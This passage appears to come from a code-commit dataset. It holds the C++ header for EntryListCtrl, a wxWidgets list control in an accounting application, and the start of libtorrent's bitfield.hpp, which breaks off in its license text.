p_account);\n\n\t\/**\n\t * Update displayed entries to reflect that an already-saved\n\t * OrdinaryJournal \\e p_journal has just been amended, and the amendments\n\t * saved.\n\t *\/\n\tvoid update_for_amended(sqloxx::Handle<OrdinaryJournal> const& p_journal);\n\n\t\/**\n\t * Update displayed entries to reflect that an already-saved Account \\e\n\t * p_account has just been amended, and the amendments saved.\n\t *\/\n\tvoid update_for_amended(sqloxx::Handle<Account> const& p_account);\n\n\t\/**\n\t * Update displayed entries to reflect that the Entries with IDs\n\t * (as in Entry::id()) in p_doomed_ids have been deleted from the\n\t * database.\n\t *\/\n\tvoid update_for_deleted(std::vector<sqloxx::Id> const& p_doomed_ids);\n\n\t\/**\n\t * Populates \\e out with handles to the currently selected Entries\n\t * (if any).\n\t *\/\n\tvoid selected_entries(std::vector<sqloxx::Handle<Entry> >& out);\n\n\t\/**\n\t * Scroll to the bottom of the displayed list.\n\t *\/\n\tvoid scroll_to_bottom();\n\n\t\/**\n\t * @returns a reference to a vector of SummaryDatum instances representing\n\t * a summary of the information embodied in the EntryListCtrl.\n\t *\/\n\tstd::vector<SummaryDatum> const& summary_data() const;\n\nprotected:\n\tEntryListCtrl\n\t(\twxWindow* p_parent,\n\t\twxSize const& p_size,\n\t\tDcmDatabaseConnection& p_database_connection\n\t);\n\n\t\/**\n\t * @returns the number of columns in the displayed list.\n\t *\/\n\tint num_columns() const;\n\n\t\/**\n\t * @returns the (0-based) index of the column containing the date.\n\t *\/\n\tint date_col_num() const;\n\n\t\/**\n\t * Sets column widths to a reasonable default size.\n\t *\/\n\tvoid autosize_column_widths();\n\n\t\/**\n\t * Resizes the column in which Entry comments are displayed, so that, as far\n\t * as possible, there is enough room for all the displayed contents as\n\t * well as for a scrollbar. The comment column is shrunk, in preference to\n\t * shrinking other columns, if required to fit all the columns in the\n\t * visible area.\n\t *\/\n\tvoid adjust_comment_column_to_fit();\n\n\t\/**\n\t * @returns the date displayed in the row indexed by \\e p_row, using \\e\n\t * p_parser to parse the text of the date.\n\t *\/\n\tboost::gregorian::date date_displayed\n\t(\tlong p_row,\n\t\tDateParser const& p_parser\n\t) const;\n\n\t\/**\n\t * \\e Assuming the displayed Entries are already ordered in increasing order\n\t * of date, returns the row index such that, if a new Entry dated \\e p_date\n\t * were to be inserted so as to preserve this order (while ordering\n\t * equal-dated Entries from oldest to newest) then it would be inserted into\n\t * a new row indexed with this index.\n\t *\/\n\tlong row_for_date(boost::gregorian::date const& p_date) const;\n\n\tDcmDatabaseConnection& database_connection();\n\n\tDcmDatabaseConnection const& database_connection() const;\n\nprivate:\n\n\t\/**\n\t * Inheriting class should define to return \\e true if and only if\n\t * progress log should be displayed to user.\n\t *\/\n\tvirtual bool do_require_progress_log() const = 0;\n\n\t\/**\n\t * Inheriting class should implement to insert columns (using InsertColumn\n\t * method of wxListCtrl), other than the date column.\n\t *\/\n\tvirtual void do_insert_non_date_columns() = 0;\n\n\t\/**\n\t * Inheriting class should implement to inspect an arbitrary\n\t * sqloxx::Handle<Entry> \\e p_entry and return \\e true if and only if that\n\t * Entry should be included in the displayed list.\n\t *\/\n\tvirtual bool do_approve_entry\n\t(\tsqloxx::Handle<Entry> const& p_entry\n\t) const = 0;\n\n\t\/**\n\t * Inheriting class should implement to set the value for each of the\n\t * non-date columns in arbitrary row indexed by \\e p_row, to reflect the\n\t * Entry represented by \\e p_entry. (An implementation would generally use\n\t * wxListCtrl::SetItem to do this.)\n\t *\/\n\tvirtual void do_set_non_date_columns (\tlong p_row, sqloxx::Handle<Entry>\n\tconst& p_entry) = 0;\n\n\t\/**\n\t * Inheriting class should implement to set widths of all its columns.\n\t *\/\n\tvirtual void do_set_column_widths() = 0;\n\n\t\/**\n\t * Inheriting class should implement to return number of columns.\n\t *\/\n\tvirtual int do_get_num_columns() const = 0;\n\n\t\/**\n\t * Inheriting class should implement to return the index of the column\n\t * that contains the comment of each Entry (can return -1 if there is no\n\t * such column).\n\t *\/\n\tvirtual int do_get_comment_col_num() const = 0;\n\n\t\/**\n\t * Inheriting class should implement this so as to return a std::unique_ptr\n\t * to a heap-allocated sqloxx::SQLStatement which is a \"SELECT\" SQL\n\t * statement that selects just the primary key column from the database\n\t * table in which Entry instances are stored.\n\t *\/\n\tvirtual std::unique_ptr<sqloxx::SQLStatement>\n\t\tdo_create_entry_selector() = 0;\n\n\t\/**\n\t * This is called to update the displayed list to reflect that the Account\n\t * handled by \\e p_account has been edited and the edits saved. By default\n\t * this does nothing. Inheriting class is free to override.\n\t *\/\n\tvirtual void do_update_for_amended\n\t(\tsqloxx::Handle<Account> const& p_account\n\t);\n\n\t\/**\n\t * @returns a vector of SummaryDatum instances, representing a summary\n\t * of the contents of the displayed list. By default this returns\n\t * an empty vector. Inheriting classes are free to override to return\n\t * meaningful data.\n\t *\/\n\tvirtual std::vector<SummaryDatum> const& do_get_summary_data() const;\n\n\t\/**\n\t * Called during initialization of the EntryListCtrl, to perform any\n\t * actions required to initialize the vector of SummaryData that\n\t * should be returned via summary_data(). This is called prior\n\t * to populating the list with actual data for the Entries. By default,\n\t * this does nothing. Inheriting classes are free to override this function.\n\t *\/\n\tvirtual void do_initialize_summary_data();\n\n\t\/**\n\t * Upon an Entry being added to the displayed list, this function is\n\t * called to reflect the Entry, as appropriate, within the data that\n\t * should be returned via summary_data(). By default this does nothing.\n\t * Inheriting classes are free to override this function.\n\t *\/\n\tvirtual void do_process_candidate_entry_for_summary\n\t(\tsqloxx::Handle<Entry> const& p_entry\n\t);\n\n\t\/**\n\t * Upon an Entry being removed from the displayed list, this function is\n\t * called to reflect the removal of the Entry, as appropriate, from the\n\t * data that should be returned via summary_data(). By default this\n\t * does nothing. Inheriting classes are free to override this function.\n\t *\/\n\tvirtual void do_process_removal_for_summary(long p_row);\n\n\tvoid on_item_activated(wxListEvent& event);\n\n\tvoid set_column_widths();\n\tint scrollbar_width_allowance() const;\n\n\t \/\/ To be called by factory functions prior to returning pointer to newly\n\t \/\/ created EntryListCtrl.\n\tstatic void initialize(EntryListCtrl* p_entry_list_ctrl);\n\n\tvoid insert_columns();\n\tvoid insert_date_column();\n\tvoid populate();\n\tvoid process_push_candidate_entry(sqloxx::Handle<Entry> const& p_entry);\n\n\t\/\/ If p_row is set to -1 (as it is by default) and the candidate Entry\n\t\/\/ is \"approved\", then the row it will be inserted into will be determined\n\t\/\/ automatically; otherwise, the row will be given by p_row.\n\tvoid process_insertion_candidate_entry\n\t(\tsqloxx::Handle<Entry> const& p_entry,\n\t\tlong p_row = -1\n\t);\n\n\t\/\/ This inserts in correct date order (if p_row is -1) or at an explicitly\n\t\/\/ specified row (if p_row is non-negative). If p_row is less than -1,\n\t\/\/ then behaviour is undefined.\n\tvoid insert_entry(sqloxx::Handle<Entry> const& p_entry, long p_row = -1);\n\t\n\tvoid remove_if_present(sqloxx::Id p_entry_id);\n\n\t\/\/ This doesn't take care of sorting by date\n\tvoid push_back_entry(sqloxx::Handle<Entry> const& p_entry);\n\n\t\/\/ To remember which Entries have been added.\n\ttypedef std::unordered_set<sqloxx::Id> IdSet;\n\tIdSet m_id_set;\n\n\tDcmDatabaseConnection& m_database_connection;\n\n\tDECLARE_EVENT_TABLE()\n\n};  \/\/ class EntryListCtrl\n\n\n\n\n\n\n}  \/\/ namespace gui\n}  \/\/ namespace dcm\n\n#endif  \/\/ GUARD_entry_list_ctrl_hpp_03525603377970682\n<commit_msg>Deleted an obsolete TODO.<commit_after>\/*\n * Copyright 2013 Matthew Harvey\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef GUARD_entry_list_ctrl_hpp_03525603377970682\n#define GUARD_entry_list_ctrl_hpp_03525603377970682\n\n#include \"entry_table_iterator.hpp\"\n#include \"reconciliation_list_panel.hpp\"\n#include \"summary_datum.hpp\"\n#include <boost\/date_time\/gregorian\/gregorian.hpp>\n#include <boost\/optional.hpp>\n#include <sqloxx\/handle_fwd.hpp>\n#include <sqloxx\/sql_statement_fwd.hpp>\n#include <wx\/event.h>\n#include <wx\/gdicmn.h>\n#include <wx\/listctrl.h>\n#include <memory>\n#include <unordered_set>\n#include <vector>\n\nnamespace dcm\n{\n\n\/\/ Begin forward declarations\n\nclass Account;\nclass Entry;\nclass DateParser;\nclass OrdinaryJournal;\nclass DcmDatabaseConnection;\n\nnamespace gui\n{\n\nclass ReconciliationEntryListCtrl;\n\n\/\/ End forward declarations\n\n\/**\n * Displays a list of Entries. Derived classes must define various\n * pure virtual functions - and may override certain impure virtual functions\n * - to govern which Entries are displayed, and which columns of data are\n * displayed. However every EntryListCtrl will have the date of the Entry\n * showing in the first column, and should only ever show Entries from\n * OrdinaryJournals (not DraftJournals).\n *\/\nclass EntryListCtrl: public wxListCtrl\n{\npublic:\n\n\t\/**\n\t * @returns a pointer to a heap-allocated EntryListCtrl, listing\n\t * all and only the \\e actual (non-budget) OrdinaryEntries stored in\n\t * \\e p_account.database_connection() which have \\e p_account as their\n\t * Account, and which lie between the date stored in p_maybe_min_date\n\t * and the date stored in p_maybe_max_date, inclusive. If\n\t * p_maybe_min_date is an uninitialized optional, then there is no\n\t * minimum date; and if p_maybe_max_date is an uninitialized optional\n\t * then there is no maximum date. Having said this, even if there is no\n\t * minimum date, then the opening balance date may act as an effective\n\t * minimum date...\n\t *\n\t * Caller has responsibility for managing the pointed-to memory.\n\t *\/\n\tstatic EntryListCtrl* create_actual_ordinary_entry_list\n\t(\twxWindow* p_parent,\n\t\twxSize const& p_size,\n\t\tsqloxx::Handle<Account> const& p_account,\n\t\tboost::optional<boost::gregorian::date> const& p_maybe_min_date =\n\t\t\tboost::optional<boost::gregorian::date>(),\n\t\tboost::optional<boost::gregorian::date> const& p_maybe_max_date =\n\t\t\tboost::optional<boost::gregorian::date>()\n\t);\n\n\t\/**\n\t * @returns a pointer to a heap-allocated EntryListCtrl, especially\n\t * designed to facilitate balance sheet Account reconciliations.\n\t *\n\t * \\e p_account should be handle to a balance sheet Account.\n\t *\n\t * Caller has responsibility for managing the pointed-to memory.\n\t *\/\n\tstatic ReconciliationEntryListCtrl* create_reconciliation_entry_list\n\t(\tReconciliationListPanel* p_parent,\n\t\twxSize const& p_size,\n\t\tsqloxx::Handle<Account> const& p_account,\n\t\tboost::gregorian::date const& p_min_date,\n\t\tboost::gregorian::date const& p_max_date\n\t);\n\n\tEntryListCtrl(EntryListCtrl const&) = delete;\n\tEntryListCtrl(EntryListCtrl&&) = delete;\n\tEntryListCtrl& operator=(EntryListCtrl const&) = delete;\n\tEntryListCtrl& operator=(EntryListCtrl&&) = delete;\n\tvirtual ~EntryListCtrl();\n\n\t\/**\n\t * Update displayed entries to reflect that \\e p_journal has been newly\n\t * posted (having not previously existed in the database).\n\t *\/\n\tvoid update_for_new(sqloxx::Handle<OrdinaryJournal> const& p_journal);\n\n\t\/**\n\t * Update displayed entries to reflect that \\e p_account has been newly\n\t * created and saved (having not previously existed in the database.\n\t *\/\n\tvoid update_for_new(sqloxx::Handle<Account> const& p_account);\n\n\t\/**\n\t * Update displayed entries to reflect that an already-saved\n\t * OrdinaryJournal \\e p_journal has just been amended, and the amendments\n\t * saved.\n\t *\/\n\tvoid update_for_amended(sqloxx::Handle<OrdinaryJournal> const& p_journal);\n\n\t\/**\n\t * Update displayed entries to reflect that an already-saved Account \\e\n\t * p_account has just been amended, and the amendments saved.\n\t *\/\n\tvoid update_for_amended(sqloxx::Handle<Account> const& p_account);\n\n\t\/**\n\t * Update displayed entries to reflect that the Entries with IDs\n\t * (as in Entry::id()) in p_doomed_ids have been deleted from the\n\t * database.\n\t *\/\n\tvoid update_for_deleted(std::vector<sqloxx::Id> const& p_doomed_ids);\n\n\t\/**\n\t * Populates \\e out with handles to the currently selected Entries\n\t * (if any).\n\t *\/\n\tvoid selected_entries(std::vector<sqloxx::Handle<Entry> >& out);\n\n\t\/**\n\t * Scroll to the bottom of the displayed list.\n\t *\/\n\tvoid scroll_to_bottom();\n\n\t\/**\n\t * @returns a reference to a vector of SummaryDatum instances representing\n\t * a summary of the information embodied in the EntryListCtrl.\n\t *\/\n\tstd::vector<SummaryDatum> const& summary_data() const;\n\nprotected:\n\tEntryListCtrl\n\t(\twxWindow* p_parent,\n\t\twxSize const& p_size,\n\t\tDcmDatabaseConnection& p_database_connection\n\t);\n\n\t\/**\n\t * @returns the number of columns in the displayed list.\n\t *\/\n\tint num_columns() const;\n\n\t\/**\n\t * @returns the (0-based) index of the column containing the date.\n\t *\/\n\tint date_col_num() const;\n\n\t\/**\n\t * Sets column widths to a reasonable default size.\n\t *\/\n\tvoid autosize_column_widths();\n\n\t\/**\n\t * Resizes the column in which Entry comments are displayed, so that, as far\n\t * as possible, there is enough room for all the displayed contents as\n\t * well as for a scrollbar. The comment column is shrunk, in preference to\n\t * shrinking other columns, if required to fit all the columns in the\n\t * visible area.\n\t *\/\n\tvoid adjust_comment_column_to_fit();\n\n\t\/**\n\t * @returns the date displayed in the row indexed by \\e p_row, using \\e\n\t * p_parser to parse the text of the date.\n\t *\/\n\tboost::gregorian::date date_displayed\n\t(\tlong p_row,\n\t\tDateParser const& p_parser\n\t) const;\n\n\t\/**\n\t * \\e Assuming the displayed Entries are already ordered in increasing order\n\t * of date, returns the row index such that, if a new Entry dated \\e p_date\n\t * were to be inserted so as to preserve this order (while ordering\n\t * equal-dated Entries from oldest to newest) then it would be inserted into\n\t * a new row indexed with this index.\n\t *\/\n\tlong row_for_date(boost::gregorian::date const& p_date) const;\n\n\tDcmDatabaseConnection& database_connection();\n\n\tDcmDatabaseConnection const& database_connection() const;\n\nprivate:\n\n\t\/**\n\t * Inheriting class should define to return \\e true if and only if\n\t * progress log should be displayed to user.\n\t *\/\n\tvirtual bool do_require_progress_log() const = 0;\n\n\t\/**\n\t * Inheriting class should implement to insert columns (using InsertColumn\n\t * method of wxListCtrl), other than the date column.\n\t *\/\n\tvirtual void do_insert_non_date_columns() = 0;\n\n\t\/**\n\t * Inheriting class should implement to inspect an arbitrary\n\t * sqloxx::Handle<Entry> \\e p_entry and return \\e true if and only if that\n\t * Entry should be included in the displayed list.\n\t *\/\n\tvirtual bool do_approve_entry\n\t(\tsqloxx::Handle<Entry> const& p_entry\n\t) const = 0;\n\n\t\/**\n\t * Inheriting class should implement to set the value for each of the\n\t * non-date columns in arbitrary row indexed by \\e p_row, to reflect the\n\t * Entry represented by \\e p_entry. (An implementation would generally use\n\t * wxListCtrl::SetItem to do this.)\n\t *\/\n\tvirtual void do_set_non_date_columns (\tlong p_row, sqloxx::Handle<Entry>\n\tconst& p_entry) = 0;\n\n\t\/**\n\t * Inheriting class should implement to set widths of all its columns.\n\t *\/\n\tvirtual void do_set_column_widths() = 0;\n\n\t\/**\n\t * Inheriting class should implement to return number of columns.\n\t *\/\n\tvirtual int do_get_num_columns() const = 0;\n\n\t\/**\n\t * Inheriting class should implement to return the index of the column\n\t * that contains the comment of each Entry (can return -1 if there is no\n\t * such column).\n\t *\/\n\tvirtual int do_get_comment_col_num() const = 0;\n\n\t\/**\n\t * Inheriting class should implement this so as to return a std::unique_ptr\n\t * to a heap-allocated sqloxx::SQLStatement which is a \"SELECT\" SQL\n\t * statement that selects just the primary key column from the database\n\t * table in which Entry instances are stored.\n\t *\/\n\tvirtual std::unique_ptr<sqloxx::SQLStatement>\n\t\tdo_create_entry_selector() = 0;\n\n\t\/**\n\t * This is called to update the displayed list to reflect that the Account\n\t * handled by \\e p_account has been edited and the edits saved. By default\n\t * this does nothing. Inheriting class is free to override.\n\t *\/\n\tvirtual void do_update_for_amended\n\t(\tsqloxx::Handle<Account> const& p_account\n\t);\n\n\t\/**\n\t * @returns a vector of SummaryDatum instances, representing a summary\n\t * of the contents of the displayed list. By default this returns\n\t * an empty vector. Inheriting classes are free to override to return\n\t * meaningful data.\n\t *\/\n\tvirtual std::vector<SummaryDatum> const& do_get_summary_data() const;\n\n\t\/**\n\t * Called during initialization of the EntryListCtrl, to perform any\n\t * actions required to initialize the vector of SummaryData that\n\t * should be returned via summary_data(). This is called prior\n\t * to populating the list with actual data for the Entries. By default,\n\t * this does nothing. Inheriting classes are free to override this function.\n\t *\/\n\tvirtual void do_initialize_summary_data();\n\n\t\/**\n\t * Upon an Entry being added to the displayed list, this function is\n\t * called to reflect the Entry, as appropriate, within the data that\n\t * should be returned via summary_data(). By default this does nothing.\n\t * Inheriting classes are free to override this function.\n\t *\/\n\tvirtual void do_process_candidate_entry_for_summary\n\t(\tsqloxx::Handle<Entry> const& p_entry\n\t);\n\n\t\/**\n\t * Upon an Entry being removed from the displayed list, this function is\n\t * called to reflect the removal of the Entry, as appropriate, from the\n\t * data that should be returned via summary_data(). By default this\n\t * does nothing. Inheriting classes are free to override this function.\n\t *\/\n\tvirtual void do_process_removal_for_summary(long p_row);\n\n\tvoid on_item_activated(wxListEvent& event);\n\n\tvoid set_column_widths();\n\tint scrollbar_width_allowance() const;\n\n\t \/\/ To be called by factory functions prior to returning pointer to newly\n\t \/\/ created EntryListCtrl.\n\tstatic void initialize(EntryListCtrl* p_entry_list_ctrl);\n\n\tvoid insert_columns();\n\tvoid insert_date_column();\n\tvoid populate();\n\tvoid process_push_candidate_entry(sqloxx::Handle<Entry> const& p_entry);\n\n\t\/\/ If p_row is set to -1 (as it is by default) and the candidate Entry\n\t\/\/ is \"approved\", then the row it will be inserted into will be determined\n\t\/\/ automatically; otherwise, the row will be given by p_row.\n\tvoid process_insertion_candidate_entry\n\t(\tsqloxx::Handle<Entry> const& p_entry,\n\t\tlong p_row = -1\n\t);\n\n\t\/\/ This inserts in correct date order (if p_row is -1) or at an explicitly\n\t\/\/ specified row (if p_row is non-negative). If p_row is less than -1,\n\t\/\/ then behaviour is undefined.\n\tvoid insert_entry(sqloxx::Handle<Entry> const& p_entry, long p_row = -1);\n\t\n\tvoid remove_if_present(sqloxx::Id p_entry_id);\n\n\t\/\/ This doesn't take care of sorting by date\n\tvoid push_back_entry(sqloxx::Handle<Entry> const& p_entry);\n\n\t\/\/ To remember which Entries have been added.\n\ttypedef std::unordered_set<sqloxx::Id> IdSet;\n\tIdSet m_id_set;\n\n\tDcmDatabaseConnection& m_database_connection;\n\n\tDECLARE_EVENT_TABLE()\n\n};  \/\/ class EntryListCtrl\n\n\n\n\n\n\n}  \/\/ namespace gui\n}  \/\/ namespace dcm\n\n#endif  \/\/ GUARD_entry_list_ctrl_hpp_03525603377970682\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_BITFIELD_HPP_INCLUDED\n#define TORRENT_BITFIELD_HPP_INCLUDED\n\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/config.hpp\"\n#include <cstring> \/\/ for memset and memcpy\n#include <cstdlib> \/\/ for malloc, free and realloc\n\nnamespace libtorrent\n{\n\tstruct TORRENT_EXPORT bitfield\n\t{\n\t\tbitfield(): m_bytes(0), m_size(0), m_own(false) {}\n\t\tbitfield(int bits): m_bytes(0), m_size(0), m_own(false)\n\t\t{ resize(bits); }\n\t\tbitfield(int bits, bool val): m_bytes(0), m_size(0), m_own(false)\n\t\t{ resize(bits, val); }\n\t\tbitfield(char const* b, int bits): m_bytes(0), m_size(0), m_own(false)\n\t\t{ assign(b, bits); }\n\t\tbitfield(bitfield const& rhs): m_bytes(0), m_size(0), m_own(false)\n\t\t{ assign(rhs.bytes(), rhs.size()); }\n\n\t\tvoid borrow_bytes(char* b, int bits)\n\t\t{\n\t\t\tdealloc();\n\t\t\tm_bytes = (unsigned char*)b;\n\t\t\tm_size = bits;\n\t\t\tm_own = false;\n\t\t}\n\t\t~bitfield() { dealloc(); }\n\n\t\tvoid assign(char const* b, int bits)\n\t\t{ resize(bits); std::memcpy(m_bytes, b, (bits + 7) \/ 8); clear_trailing_bits(); }\n\n\t\tbool operator[](int index) const\n\t\t{ return get_bit(index); }\n\n\t\tbool get_bit(int index) const\n\t\t{\n\t\t\tTORRENT_ASSERT(index >= 0);\n\t\t\tTORRENT_ASSERT(index < m_size);\n\t\t\treturn (m_bytes[index \/ 8] & (0x80 >> (index & 7))) != 0;\n\t\t}\n\t\t\n\t\tvoid clear_bit(int index)\n\t\t{\n\t\t\tTORRENT_ASSERT(index >= 0);\n\t\t\tTORRENT_ASSERT(index < m_size);\n\t\t\tm_bytes[index \/ 8] &= ~(0x80 >> (index & 7));\n\t\t}\n\n\t\tvoid set_bit(int index)\n\t\t{\n\t\t\tTORRENT_ASSERT(index >= 0);\n\t\t\tTORRENT_ASSERT(index < m_size);\n\t\t\tm_bytes[index \/ 8] |= (0x80 >> (index & 7));\n\t\t}\n\n\t\tstd::size_t size() const { return m_size; }\n\t\tbool empty() const { return m_size == 0; }\n\n\t\tchar const* bytes() const { return (char*)m_bytes; }\n\n\t\tbitfield& operator=(bitfield const& rhs)\n\t\t{\n\t\t\tassign(rhs.bytes(), rhs.size());\n\t\t\treturn *this;\n\t\t}\n\n\t\tint count() const\n\t\t{\n\t\t\t\/\/ 0000, 0001, 0010, 0011, 0100, 0101, 0110, 0111,\n\t\t\t\/\/ 1000, 1001, 1010, 1011, 1100, 1101, 1110, 1111\n\t\t\tconst static char num_bits[] =\n\t\t\t{\n\t\t\t\t0, 1, 1, 2, 1, 2, 2, 3,\n\t\t\t\t1, 2, 2, 3, 2, 3, 3, 4\n\t\t\t};\n\n\t\t\tint ret = 0;\n\t\t\tconst int num_bytes = m_size \/ 8;\n\t\t\tfor (int i = 0; i < num_bytes; ++i)\n\t\t\t{\n\t\t\t\tret += num_bits[m_bytes[i] & 0xf] + num_bits[m_bytes[i] >> 4];\n\t\t\t}\n\n\t\t\tint rest = m_size - num_bytes * 8;\n\t\t\tfor (int i = 0; i < rest; ++i)\n\t\t\t{\n\t\t\t\tret += (m_bytes[num_bytes] >> (7-i)) & 1;\n\t\t\t}\n\t\t\tTORRENT_ASSERT(ret <= m_size);\n\t\t\tTORRENT_ASSERT(ret >= 0);\n\t\t\treturn ret;\n\t\t}\n\n\t\tstruct const_iterator\n\t\t{\n\t\tfriend struct bitfield;\n\n\t\t\ttypedef bool value_type;\n\t\t\ttypedef ptrdiff_t difference_type;\n\t\t\ttypedef bool const* pointer;\n\t\t\ttypedef bool& reference;\n\t\t\ttypedef std::forward_iterator_tag iterator_category;\n\n\t\t\tbool operator*() { return (*byte & bit) != 0; }\n\t\t\tconst_iterator& operator++() { inc(); return *this; }\n\t\t\tconst_iterator operator++(int)\n\t\t\t{ const_iterator ret(*this); inc(); return ret; }\n\t\t\tconst_iterator& operator--() { dec(); return *this; }\n\t\t\tconst_iterator operator--(int)\n\t\t\t{ const_iterator ret(*this); dec(); return ret; }\n\n\t\t\tconst_iterator(): byte(0), bit(0x80) {}\n\t\t\tbool operator==(const_iterator const& rhs) const\n\t\t\t{ return byte == rhs.byte && bit == rhs.bit; }\n\n\t\t\tbool operator!=(const_iterator const& rhs) const\n\t\t\t{ return byte != rhs.byte || bit != rhs.bit; }\n\n\t\tprivate:\n\t\t\tvoid inc()\n\t\t\t{\n\t\t\t\tTORRENT_ASSERT(byte);\n\t\t\t\tif (bit == 0x01)\n\t\t\t\t{\n\t\t\t\t\tbit = 0x80;\n\t\t\t\t\t++byte;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbit >>= 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tvoid dec()\n\t\t\t{\n\t\t\t\tTORRENT_ASSERT(byte);\n\t\t\t\tif (bit == 0x80)\n\t\t\t\t{\n\t\t\t\t\tbit = 0x01;\n\t\t\t\t\t--byte;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tbit <<= 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst_iterator(unsigned char const* ptr, int offset)\n\t\t\t\t: byte(ptr), bit(0x80 >> offset) {}\n\t\t\tunsigned char const* byte;\n\t\t\tint bit;\n\t\t};\n\n\t\tconst_iterator begin() const { return const_iterator(m_bytes, 0); }\n\t\tconst_iterator end() const { return const_iterator(m_bytes + m_size \/ 8, m_size & 7); }\n\n\t\tvoid resize(int bits, bool val)\n\t\t{\n\t\t\tint s = m_size;\n\t\t\tint b = m_size & 7;\n\t\t\tresize(bits);\n\t\t\tif (s >= m_size) return;\n\t\t\tint old_size_bytes = (s + 7) \/ 8;\n\t\t\tint new_size_bytes = (m_size + 7) \/ 8;\n\t\t\tif (val)\n\t\t\t{\n\t\t\t\tif (old_size_bytes && b) m_bytes[old_size_bytes - 1] |= (0xff >> b);\n\t\t\t\tif (old_size_bytes < new_size_bytes)\n\t\t\t\t\tstd::memset(m_bytes + old_size_bytes, 0xff, new_size_bytes - old_size_bytes);\n\t\t\t\tclear_trailing_bits();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (old_size_bytes < new_size_bytes)\n\t\t\t\t\tstd::memset(m_bytes + old_size_bytes, 0x00, new_size_bytes - old_size_bytes);\n\t\t\t}\n\t\t}\n\n\t\tvoid set_all()\n\t\t{\n\t\t\tstd::memset(m_bytes, 0xff, (m_size + 7) \/ 8);\n\t\t\tclear_trailing_bits();\n\t\t}\n\n\t\tvoid clear_all()\n\t\t{\n\t\t\tstd::memset(m_bytes, 0x00, (m_size + 7) \/ 8);\n\t\t}\n\t\n\t\tvoid resize(int bits)\n\t\t{\n\t\t\tconst int b = (bits + 7) \/ 8;\n\t\t\tif (m_bytes)\n\t\t\t{\n\t\t\t\tif (m_own)\n\t\t\t\t{\n\t\t\t\t\tm_bytes = (unsigned char*)std::realloc(m_bytes, b);\n\t\t\t\t\tm_own = true;\n\t\t\t\t}\n\t\t\t\telse if (bits > m_size)\n\t\t\t\t{\n\t\t\t\t\tunsigned char* tmp = (unsigned char*)std::malloc(b);\n\t\t\t\t\tstd::memcpy(tmp, m_bytes, (std::min)(int(m_size + 7)\/ 8, b));\n\t\t\t\t\tm_bytes = tmp;\n\t\t\t\t\tm_own = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tm_bytes = (unsigned char*)std::malloc(b);\n\t\t\t\tm_own = true;\n\t\t\t}\n\t\t\tm_size = bits;\n\t\t\tclear_trailing_bits();\n\t\t}\n\n\t\tvoid free() { dealloc(); m_size = 0; }\n\n\tprivate:\n\n\t\tvoid clear_trailing_bits()\n\t\t{\n\t\t\t\/\/ clear the tail bits in the last byte\n\t\t\tif (m_size & 7) m_bytes[(m_size + 7) \/ 8 - 1] &= 0xff << (8 - (m_size & 7));\n\t\t}\n\n\t\tvoid dealloc() { if (m_own) std::free(m_bytes); m_bytes = 0; }\n\t\tunsigned char* m_bytes;\n\t\tint m_size:31; \/\/ in bits\n\t\tbool m_own:1;\n\t};\n\n}\n\n#endif \/\/ TORRENT_BITFIELD_HPP_INCLUDED\n\n<commit_msg>make electric fence happy by not allocating 0 bytes<commit_after>\/*\n\nCopyright (c) 2008, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, 